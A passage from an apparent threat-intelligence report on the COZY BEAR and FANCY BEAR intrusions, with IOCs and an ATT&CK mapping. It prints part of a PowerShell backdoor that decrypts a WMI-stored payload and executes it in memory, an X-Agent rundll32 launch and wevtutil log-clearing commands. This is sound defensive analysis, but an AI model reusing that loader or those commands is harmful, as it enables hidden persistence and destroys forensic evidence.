$wp = ([wmiclass]$cN).Properties[$pN].Value
$exEn = [Convert]::FromBase64String($wp)
$exDec = decrAes $exEn $aK $aI
$ex = [Text.Encoding]::UTF8.GetString($exDec)
if($ex -eq $null -or $ex -eq ”)
{return}
Invoke-Expression $ex
return $true
}
catch{
return $false
}
}
$aeK = [byte[]] (0xe7, 0xd6, 0xbe, 0xa9, 0xb7, 0xe6, 0x55, 0x3a, 0xee, 0x16, 0x79, 0xca, 0x56, 0x0f,
0xbc, 0x3f, 0x22, 0xed, 0xff, 0x02, 0x43, 0x4c, 0x1b, 0xc0, 0xe7, 0x57, 0xb2, 0xcb, 0xd8, 0xce, 0xda,
0x00)
```

$aeI = [byte[]] (0xbe, 0x7a, 0x90, 0xd9, 0xd5, 0xf7, 0xaa, 0x6d, 0xe9, 0x16, 0x64, 0x1d, 0x97, 0x16, 0xc0, 0x67)

sWP 'Wmi' 'Wmi' $aeK $aeI | Out-Null

This one-line powershell command, stored only in WMI database, establishes an encrypted connection to C2 and downloads additional powershell modules from it, executing them in memory. In theory, the additional modules can do virtually anything on the victim system. The encryption keys in the script were different on every system. Powershell version of credential theft tool MimiKatz was also used by the actors to facilitate credential acquisition for lateral movement purposes.

FANCY BEAR adversary used different tradecraft, deploying X-Agent malware with capabilities to do remote command execution, file transmission and keylogging. It was executed via rundll32 commands such as:

rundll32.exe "C:\Windows\twain_64.dll"

In addition, FANCY BEAR's X-Tunnel network tunneling tool, which facilitates connections to NAT-ed environments, was used to also execute remote commands. Both tools were deployed via RemCOM, an open-source replacement for PsExec available from GitHub. They also engaged in a number of anti-forensic analysis measures, such as periodic event log clearing (via wevtutil cl System and wevtutil cl Security commands) and resetting timestamps of files.

Intelligence collection directed by nation state actors against US political targets provides invaluable insight into the requirements directed upon those actors. Regardless of the agency or unit tasked with this collection, the upcoming US election, and the associated candidates and parties are of critical interest to both hostile and friendly nation states. The 2016 presidential election has the world's attention, and leaders of other states are anxiously watching and planning for possible outcomes. Attacks against electoral candidates and the parties they represent are likely to continue up until the election in November.

Indicators of Compromise:

IOC	Adversary	IOC Type	Additional Info
6c1bce76f4d2358656132b6b1d471571820688ccdbaca0d86d0ca082b9390536	COZY BEAR	SHA256	pagemgr.exe (SeaDaddy implant)
b101cd29e18a515753409ae86ce68a4cedbe0d640d385eb24b9bbb69cf8186ae	COZY BEAR	SHA256	pagemgr.exe
(SeaDaddy implant)			
185[.]100[.]84[.]134:443	COZY BEAR	C2	SeaDaddy implant C2
58[.]49[.]58[.]58:443	COZY BEAR	C2	SeaDaddy implant C2
218[.]1[.]98[.]203:80	COZY BEAR	C2	Powershell implant C2
187[.]33[.]33[.]8:80	COZY BEAR	C2	Powershell implant C2

fd39d2837b30e7233bc54598ff51bdc2f8c418fa5b94dea2cadb24cf40f395e5 FANCY BEAR SHA256 twain_64.dll

(64-bit X-Agent implant)

4845761c9bed0563d0aa83613311191e075a9b58861e80392914d61a21bad976 FANCY BEAR SHA256 VmUpgradeHelper.exe (X-Tunnel implant)

40ae43b7d6c413becc92b07076fa128b875c8dbb4da7c036639eccf5a9fc784f FANCY BEAR SHA256 VmUpgradeHelper.exe

(X-Tunnel implant)

185[.]86[.]148[.]227:443 FANCY BEAR C2 X-Agent implant C2

45[.]32[.]129[.]185:443 FANCY BEAR C2 X-Tunnel implant C2

23[.]227[.]196[.]217:443 FANCY BEAR C2 X-Tunnel implant C2

Note: Due to the fact that this report deals with two different threat actors some TTPs are not attributed to APT29 due to lack of specificity in the report.

ID	Name	Identified Sentence
T1566.002	Phishing: Spearphishing Link	COZY BEAR's preferred intrusion method is a broadly targeted spearphish campaign that typically includes web links to a malicious dropper.
T1204.001	User Execution: Malicious Link	COZY BEAR's preferred intrusion method is a broadly targeted spearphish campaign that typically includes web links to a malicious dropper.
T1497	Virtualization/Sandbox Evasion	On many occasions, both the dropper and the payload will contain a range of techniques to ensure the sample is not being analyzed on a virtual machine, using a debugger, or located within a sandbox. They have extensive checks for the various security software that is installed on the system and their specific configurations. When specific versions are discovered that may cause issues for the RAT, it promptly exits.
T1027	Obfuscated Files or Information	The implants are highly configurable via encrypted configuration files, which allow the adversary to customize various components, including C2 servers, the list of initial tasks to carry out, persistence mechanisms, encryption keys and others. It consists of a single obfuscated command setup to run persistently, The encryption keys in the script were different on every system.
T1071.001	Application Layer Protocol: Web Protocols	An HTTP protocol with encrypted payload is used for the Command & Control communication.

T1573	Encrypted Channel	An HTTP protocol with encrypted payload is used for the Command & Control communication. This one-line powershell command, stored only in WMI database, establishes an encrypted connection to C2 and downloads additional powershell modules from it, executing them in memory.
T1059	Command and Scripting Interpreter: Python	The COZY BEAR intrusion relied primarily on the SeaDaddy implant developed in Python and compiled with py2exe and another Powershell backdoor with persistence accomplished via Windows Management Instrumentation (WMI) system, which allowed the adversary to launch malicious code automatically after a specified period of system uptime or on a specific schedule.
T1059.001	Command and Scripting Interpreter: PowerShell	The COZY BEAR intrusion relied primarily on the SeaDaddy implant developed in Python and compiled with py2exe and another Powershell backdoor with persistence accomplished via Windows Management Instrumentation (WMI) system, which allowed the adversary to launch malicious code automatically after a specified period of system uptime or on a specific schedule.
T1047	Windows Management Instrumentation	The COZY BEAR intrusion relied primarily on the SeaDaddy implant developed in Python and compiled with py2exe and another Powershell backdoor with persistence accomplished via Windows Management Instrumentation (WMI) system, which allowed the adversary to launch malicious code automatically after a specified period of system uptime or on a specific schedule.
T1546.003	Event Triggered Execution: Windows Management Instrumentation Event Subscription	The COZY BEAR intrusion relied primarily on the SeaDaddy implant developed in Python and compiled with py2exe and another Powershell backdoor with persistence accomplished via Windows Management Instrumentation (WMI) system, which allowed the adversary to launch malicious code automatically after a specified period of system uptime or on a specific schedule.
T1055	Process Injection	This one-line powershell command, stored only in WMI database, establishes an encrypted connection to C2 and downloads additional powershell modules from it, executing them in memory.
S0002	Mimikatz	Powershell version of credential theft tool MimiKatz was also used by the actors to facilitate credential acquisition for lateral movement purposes.
T1134.005	Access Token Manipulation: SID-History Injection	Powershell version of credential theft tool MimiKatz was also used by the actors to facilitate credential acquisition for lateral movement purposes.

T1098	Account Manipulation	Powershell version of credential theft tool MimiKatz was also used by the actors to facilitate credential acquisition for lateral movement purposes.
T1547.005	Boot or Logon Autostart Execution: Security Support Provider	Powershell version of credential theft tool MimiKatz was also used by the actors to facilitate credential acquisition for lateral movement purposes.
T1555	Credentials from Password Stores	Powershell version of credential theft tool MimiKatz was also used by the actors to facilitate credential acquisition for lateral movement purposes.
T1555.003	Credentials from Password Stores: Credentials from Web Browsers	Powershell version of credential theft tool MimiKatz was also used by the actors to facilitate credential acquisition for lateral movement purposes.
T1003.001	OS Credential Dumping: LSASS Memory	Powershell version of credential theft tool MimiKatz was also used by the actors to facilitate credential acquisition for lateral movement purposes.
T1003.006	OS Credential Dumping: DCSync	Powershell version of credential theft tool MimiKatz was also used by the actors to facilitate credential acquisition for lateral movement purposes.
T1003.002	OS Credential Dumping: Security Account Manager	Powershell version of credential theft tool MimiKatz was also used by the actors to facilitate credential acquisition for lateral movement purposes.
T1003.004	OS Credential Dumping: LSA Secrets	Powershell version of credential theft tool MimiKatz was also used by the actors to facilitate credential acquisition for lateral movement purposes.
T1207	Rogue Domain Controller	Powershell version of credential theft tool MimiKatz was also used by the actors to facilitate credential acquisition for lateral movement purposes.
T1558.002	Steal or Forge Kerberos Tickets: Silver Ticket	Powershell version of credential theft tool MimiKatz was also used by the actors to facilitate credential acquisition for lateral movement purposes.
T1558.001	Steal or Forge Kerberos Tickets: Golden Ticket	Powershell version of credential theft tool MimiKatz was also used by the actors to facilitate credential acquisition for lateral movement purposes.
T1552.004	Unsecured Credentials: Private Keys	Powershell version of credential theft tool MimiKatz was also used by the actors to facilitate credential acquisition for lateral movement purposes.
T1550.002	Use Alternate Authentication Material: Pass the Hash	Powershell version of credential theft tool MimiKatz was also used by the actors to facilitate credential acquisition for lateral movement purposes.
T1550.003	Use Alternate Authentication Material: Pass the Ticket	Powershell version of credential theft tool MimiKatz was also used by the actors to facilitate credential acquisition for lateral movement purposes.